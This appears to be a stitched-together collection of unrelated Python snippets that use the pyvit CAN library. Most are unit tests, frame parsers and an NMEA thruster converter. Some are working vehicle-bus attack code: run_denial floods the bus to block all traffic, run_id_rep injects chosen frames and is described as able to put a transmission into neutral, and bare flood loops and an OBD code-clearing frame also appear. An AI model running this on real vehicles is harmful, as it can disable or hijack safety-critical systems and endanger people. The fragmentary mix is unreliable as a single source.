def test_full(self): """ Test write & readback of candump file with defined timestamp and interface """ temp_file = tempfile.NamedTemporaryFile(delete=False) file_name = temp_file.name cdf = log.CandumpFile(file_name) frames = [ can.Frame(0x1, [1, 2, 3, 4, 5, 6, 7, 8], interface='can0', timestamp=1.0), can.Frame(0x2, interface='can1', timestamp=2.0), can.Frame(0x3, [0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF], interface='can2', timestamp=3.0) ] cdf.export_frames(frames) frames2 = cdf.import_frames() temp_file.close() for i in range(0, len(frames)): self.assertEqual(frames[i], frames2[i])
def test_arb_id(self): """ Test CAN frame arbitration ID validation """ std_frame = can.Frame(0) ext_frame = can.Frame(0, extended=True) # test non-integer fails with self.assertRaises(AssertionError): std_frame.arb_id = 'boo!' # test negative id fails with self.assertRaises(ValueError): std_frame.arb_id = -1 # test non extended throws error when ID is too large with self.assertRaises(ValueError): std_frame.arb_id = 0x1234 # test id out of range ext_frame = can.Frame(0, extended=True) with self.assertRaises(ValueError): ext_frame.arb_id = 0x2FFFFFFF # test id in range ext_frame.arb_id = 0x1FFFFFFF ext_frame.arb_id = 0x0 std_frame.arb_id = 0x7FF std_frame.arb_id = 0x0
def test_tx_rx_multiple(self): """ Test transmission and reception of multiple frames """ f1 = can.Frame(0x1) f2 = can.Frame(0x2) f3 = can.Frame(0x3) self.dev.send(f1) self.dev.send(f2) self.dev.send(f3) self.assertEqual(f1, self.dev.recv()) self.assertEqual(f2, self.dev.recv()) self.assertEqual(f3, self.dev.recv())
def convert(self, nmea): try: if not isinstance(nmea, str): return None nmea = nmea.rstrip() nmea, checksum = nmea.split("*") exp_checksum = checksum_from_nmea(nmea) #if not re.match("\$\w+,\d+\.?\d*,\d+,\w,\d,\w,\d+\.?\d*,\w\*[\d\w]{2}", nmea): if not re.match("\$[A-Z]{1,2}TRC", nmea): print("INVALID NMEA") return None if checksum != exp_checksum: return None parts = nmea.split( ",") # This is just a lot easier than using that regex thing if self.thruster_id is not None: thruster_id = int(parts[1]) if thruster_id != self.thruster_id: print("Thruster ID ignored ", thruster_id) return None throttle = int(round(float(parts[2]) * 10)) az = int(round(float(parts[6]) % 360 * 10)) print("az=", az) print("throttle=", throttle) # We do not support these currently status_info = 0 alarm_info = 0 throttle_data = [ int(x) for x in struct.pack(CAN_BYTE_FMT, throttle, status_info, alarm_info) ] az_data = [ int(x) for x in struct.pack(CAN_BYTE_FMT, az, status_info, alarm_info) ] return [ can.Frame(arb_id=CAN_THROTTLE_ID, data=throttle_data), can.Frame(arb_id=CAN_AZ_ID, data=az_data) ] except Exception as e: print("CAN conversion encountered error", e) return None
def setUp(self): self.log_filename = 'tmp.log' self.f = can.Frame(0x123) self.f.data = [1, 2, 3, 4, 5, 6, 7, 8] with Logger(self.log_filename) as log: for i in range(0, 10): log.log_frame(self.f)
def test_dispatcher_multiple(self): rx = Queue() self.disp.add_receiver(rx) tx1 = can.Frame(1, data=[1, 2, 3, 4, 5]) tx2 = can.Frame(2, data=[0xFF, 0xFF, 0xFF]) tx3 = can.Frame(3, data=[0xDE, 0xAD, 0xBE, 0xEF]) self.disp.start() self.disp.send(tx1) self.disp.send(tx2) self.disp.send(tx3) rx1 = rx.get() rx2 = rx.get() rx3 = rx.get() self.disp.stop() self.assertEqual(rx1, tx1) self.assertEqual(rx2, tx2) self.assertEqual(rx3, tx3)
def test_dispatcher_single(self): rx = Queue() self.disp.add_receiver(rx) self.disp.start() f = can.Frame(0x123) self.disp.send(f) f2 = rx.get() self.disp.stop() self.assertEqual(f, f2)
def test_defaults(self): """ Test write & readback of candump file with default timestamp and interface """ temp_file = tempfile.NamedTemporaryFile(delete=False) file_name = temp_file.name cdf = log.CandumpFile(file_name) frames = [ can.Frame(0x123, [1, 2, 3, 4, 5, 6, 7, 8]), can.Frame(0x0), can.Frame(0x1, [0xFF] * 8) ] cdf.export_frames(frames) frames2 = cdf.import_frames() temp_file.close() for i in range(0, len(frames)): self.assertEqual(frames[i], frames2[i])
def tryBuildPacket(dataTuple): packet = None try: # convert id to hexvalue # convert data to list of bytes packet = can.Frame(arb_id=int(dataTuple[0], 16), data=list(bytearray.fromhex(dataTuple[1]))) except ValueError as e: if "Arbitration ID out of range" in str(e): return False, None else: raise return True, packet
def test_frame_type(self): """ Test CAN frame type validation """ frame = can.Frame(0) # test invalid frame type causes error with self.assertRaises(AssertionError): frame.frame_type = 5 # test valid frame types frame.frame_type = can.FrameType.DataFrame frame.frame_type = can.FrameType.RemoteFrame frame.frame_type = can.FrameType.ErrorFrame frame.frame_type = can.FrameType.OverloadFrame
def test_data(self): """ Test CAN frame data validation """ frame = can.Frame(0) # test too many bytes causes error with self.assertRaises(AssertionError): frame.data = [1, 2, 3, 4, 5, 6, 7, 8, 9] # test wrong datatype causes error with self.assertRaises(AssertionError): frame.data = 4 # test out of range byte causes error with self.assertRaises(AssertionError): frame.data = [1, 2, 3, 4, 5, 6, 7, 0xFFFF]
def test_defaults(self): """ Test parsing a json database """ uut = JsonDbParser() # Should not throw any exceptions or errors file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'vector_jsondb.json') bus_db = uut.parse(file_path) # [600 RPM, 4th gear, 2 units of voltage, unit to be divided by 10, # unit with offset] frame_1 = can.Frame(0x123, [88, 2, 0b00010100, 50, 10]) signals = bus_db.parse_frame(frame_1)
def tryBuildPacket(CANID, data): """ Builds a pyvit frame using the passed parameters. This method automatically uses the extended CAN format if needed. :param CANID: The CAN ID as hex string :param data: The desired packet data (length must be even) :return: A packet as pyvit frame containing the passed data or None of no frame can be created """ assert len(data) % 2 == 0, "the data length has to be even" arbID = int(CANID, 16) data = list(bytearray.fromhex(data)) try: # Convert id to hexvalue # Convert data to list of bytes packet = can.Frame(arb_id=arbID, data=data) except ValueError: # Uh oh, try to create an extended packet try: packet = can.Frame(arb_id=arbID, data=data, is_extended_id=True) except TypeError: # The flag to mark an extended packet was changed in some git commit - try that try: packet = can.Frame(arb_id=arbID, data=data, extended=True) except Exception as e: CANData.logger.error(Strings.packetBuildError + ": " + str(e)) return None return packet
def _str_to_frame(self, string): # split by whitespace fields = re.split('\s+', string) # arb_id is the part before '#' in the 3rd field, represented as hex arb_id = int(fields[2].split('#')[0], 16) # the data strig follows the '#' datastr = fields[2].split('#')[1] # iterate over the data string and collect the bytes data = [] for i in range(0, len(datastr)): if i % 2 == 0: data.append(int(datastr[i:i + 2], 16)) # assemble the frame return can.Frame(arb_id, data=data)
def run_denial(is_corrupt): """ Floods the bus with a FULL line meaning no information can be sent. Effectively killing the bus. """ if not is_corrupt: print("Running DoS (Denial of Service) attack") dev.start() frame = can.Frame(0) frame.data = [0, 0, 0, 0, 0, 0, 0, 0] while True: dev.send(frame) if GPIO.input(button_denial) == 0 or GPIO.input(button_corrupt) == 0: sleep(0.5) break dev.stop()
def recv(self): incomingString = self.receiveUntilNewLine() withoutSpaces = incomingString.replace(" ", "") withoutNewLine = withoutSpaces.replace("\r", "") if withoutNewLine == 'NULL': return None arb_id = withoutNewLine[:3] # skip one position because it contains the dlc data = [ int(withoutNewLine[i:i + 2], 16) for i in range(4, len(withoutNewLine), 2) ] frame = can.Frame(int(arb_id, 16), data) if self.debug: print("RECV: %s" % frame) return frame
def request_CAN_data(self, NODE_ID, num_of_values): counter = 0 while True: if self.stop: break counter = counter + 1 if counter == 1: print('heartbeat') counter = 0 for value in range(45): if self.stop: break frame = can.Frame(NODE_ID, [0, 0, 0, 0, (value + 3)]) self.dev.send(frame) #time.sleep(0.001) time.sleep(1)
def run_id_rep(arbid, payload, sleep_time): """ A simple attack that sends a payload to the ID requested. This can be used to control various systems on the connected CAN bus. Everything from a dash cluster to putting the transmission in Nuetral given we know the right information. :param arbid: ID we are targeting :param payload: Payload to send on the bus :param sleep_time: Time between messages, we don't want to spam the bus """ print("Running ID replication attack with frame: " + str(hex(arbid)) + "#" + str(payload) + " with a delay of " + str(sleep_time) + "s") dev.start() frame = can.Frame(arbid) frame.data = payload while True: dev.send(frame) sleep(sleep_time) if GPIO.input(button_idrep) == 0: sleep(0.5) break dev.stop()
def send_frame(id, data): frame = can.Frame(id) frame.data = data dev.send(frame)
# Script to send data using socketCAN from pyvit import can from pyvit.hw import socketcan dev = socketcan.SocketCanDev("can0") dev.start() frame = can.Frame(0x23) frame.data = [0x10, 0x11, 0x22, 0x77] dev.send(frame)
def test_extended(self): """ Test extended arbitration IDs """ frame = can.Frame(0x1234, extended=True) self.assertEqual(frame.arb_id, 0x1234) self.assertTrue(frame.is_extended_id)
def test_init(self): """ Test CAN frame initialization """ frame = can.Frame(0x55, [1, 2, 3, 4, 5, 6], can.FrameType.ErrorFrame) self.assertEqual(frame.arb_id, 0x55) self.assertEqual(frame.data, [1, 2, 3, 4, 5, 6]) self.assertEqual(frame.frame_type, can.FrameType.ErrorFrame)
def send_to_can(self, ID, Data): frame = can.Frame(ID, Data) self.dev.send(frame)
from pyvit.hw.socketcan import SocketCanDev from pyvit import can d = SocketCanDev('vcan0') d.start() while True: frame = d.recv() if frame.arb_id == 0x705: resp = can.Frame(0x725) resp.data = [0x02, 0x41] d.send(resp)
from pyvit import can from pyvit.hw import socketcan dev = socketcan.SocketCanDev("vcan0") dev.start() frame = can.Frame(0) frame.data = [0] * 8 while True: dev.send(frame)
from pyvit import can from pyvit.hw import cantact from pyvit.utils.queue import CanQueue import sys dev = cantact.CantactDev(sys.argv[1]) dev.set_bitrate(125000) cq = CanQueue(dev) cq.start() print cq.recv() req = can.Frame(0x6A5) req.data = [0x10, 0xFF, 0xFF] cq.send(req) print cq.recv(arb_id=0x625, timeout=10) cq.stop()
from pyvit import can from pyvit.hw import cantact import sys import time dev = cantact.CantactDev("/dev/tty.usbmodem1411") dev.ser.write('S0\r'.encode()) dev.start() count = 0 while True: count = count + 1 frame = can.Frame(20) #frame.data = [5] * 8 frame.data = [0xDE, 0xAD, 0xBE, 0xEF] dev.send(frame) time.sleep(1) print("%d: %s" % (count, str(frame)))
def to_dict(self, can_frame): if self.attribute_names: values = self.to_list(can_frame) return dict(zip(self.attribute_names, values)) else: raise ValueError( "CANParser does not have any attributes set to use as dictionary keys" ) if __name__ == '__main__': """ ID 643 {0x00 0x00 0x00 0x00} 0grade {0x00, 0x07, 0x00, 0x00} 180 degrees """ # Sample thruster azimuth CAN frame data = bytes([0x00, 0x07, 0x00, 0x00]) ints = [int(x) for x in data] frame = can.Frame(643, data=ints) # CAN bus messages parser of azimuth az_parser = CANParser("Hbb", ["azimuth", "alarm_info", "status_info"]) print(az_parser.to_dict(frame)) data = bytes([0x82, 0x00, 0x00, 0x01]) ints = [int(x) for x in data] frame = can.Frame(387, data=ints) speed_parser = CANParser("Hbb", ["speed", "alarm_info", "status_info"]) print(speed_parser.to_dict(frame))
from pyvit import can from pyvit.hw import socketcan dev = socketcan.SocketCanDev("vcan0") dev.start() frame = can.Frame(0x7DF) # frame data # byte 0: number of additional bytes (1) # byte 1: mode. mode 04 clears MIL # other bytes not used, set to 0x55 frame.data = [1, 4, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55] dev.send(frame)
def setUp(self): self.frame = can.Frame(0)